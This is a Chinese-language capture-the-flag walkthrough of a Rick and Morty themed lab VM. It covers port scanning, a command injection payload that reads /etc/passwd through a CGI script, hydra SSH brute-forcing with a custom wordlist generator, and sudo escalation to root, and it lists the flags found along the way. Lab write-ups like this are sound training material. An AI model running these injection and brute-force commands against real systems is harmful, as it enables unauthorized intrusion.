1.信息收集
端口枚举
nmap -v -sS -O -A -p- 192.168.56.10
21端口
获取pub文件失败,550提示提示表明权限不够。
FLAG**{Whoa this is unexpected} - 10 Points**
22端口
80端口
这个TRACE请求只能引起XSS,在这里用处不大。
主页没获取到什么信息,用NIkto扫描一下:
网页中发现用户名:morty,查看源码,发现密码:winter
FLAG**{Yeah d- just don’t do it.} - 10 Points**
查找robots.txt
tracertool.cgi存在命令注入漏洞,查看/etc/password文件查找用户名:
192.168.1.1;less /etc/passwd
得到了三个用户名:
- RickSanchez
- Morty
- Summer
9090端口
啥也没有,唬人的兔子洞。
FLAG {THERE IS NO ZEUS, IN YOUR FACE!} - 10 POINTS
13337端口
FLAG:{TheyFoundMyBackDoorMorty}-10Points
60000端口
FLAG**{Flip the pickle Morty!} - 10 Points**
2.获得shell与提权
用信息收集到的用户名和密码尝试连接22222端口,爆破winter属于哪个用户:
hydra -L user.txt -p winter ssh://192.168.56.10 -s 22222
ssh Summer@192.168.56.10 -p 22222
登入后在这个目录下获得flag
FLAG**{Get off the high road Summer!} - 10 Points**
有趣的是,这个靶机把cat命令绑定了,如果用cat查看,就会显示一只猫,用less命令才可以
进入到Morty用户文件夹中,把下面两个文件下载下来
zip文件需要解压密码,看图片的文件名,密码可能藏在图片里。先用exiftool查看,没有发现类似密码的东西;然后查看图片strings,发现了密码:
用密码Meeseek解压zip文件,获得一个flag
FLAG: {131333} - 20 Points
然后,再进入最后一个用户的文件夹查看:
其中有用的文件是RICKS_SAFE文件夹下的safe文件,没有执行权限,把它复制到/tmp文件加执行:
上一个flag提示131333是safe密码还记得吗?在这里把131333作为参数,执行safe文件:
获得一个20分flag:
FLAG**{And Awwwaaaaayyyy we Go!} - 20 Points**
这里还提示了密码组成:
- 一个大写字母
- 一个数字
- 一个我(RickSanchez)过去乐队名字里的单词
查了下Rick Sanchez,原来是动漫人物,就是靶机里总出现这个:(瑞克和莫蒂,明明看过)
google一下:
乐队名:
Flesh Curtains
根据提示生成一个字典:
from string import ascii_uppercase
for c in ascii_uppercase:
for n in range(0,10):
print(str(c)+str(n)+"Flesh")
print(str(c)+str(n)+"Curtains")
python dict.py > dict.txt
hydra -l RickSanchez -P dict.txt ssh://192.168.56.10 -s 22222
找到密码:
切换到RickSanchez,然后查看sudo权限:
可以直接转到root用户了!
FLAG: {Ionic Defibrillator} - 30 points
获取到了最后一个flag!
这个靶机并不像标题说的那么简单,思路挺清奇的。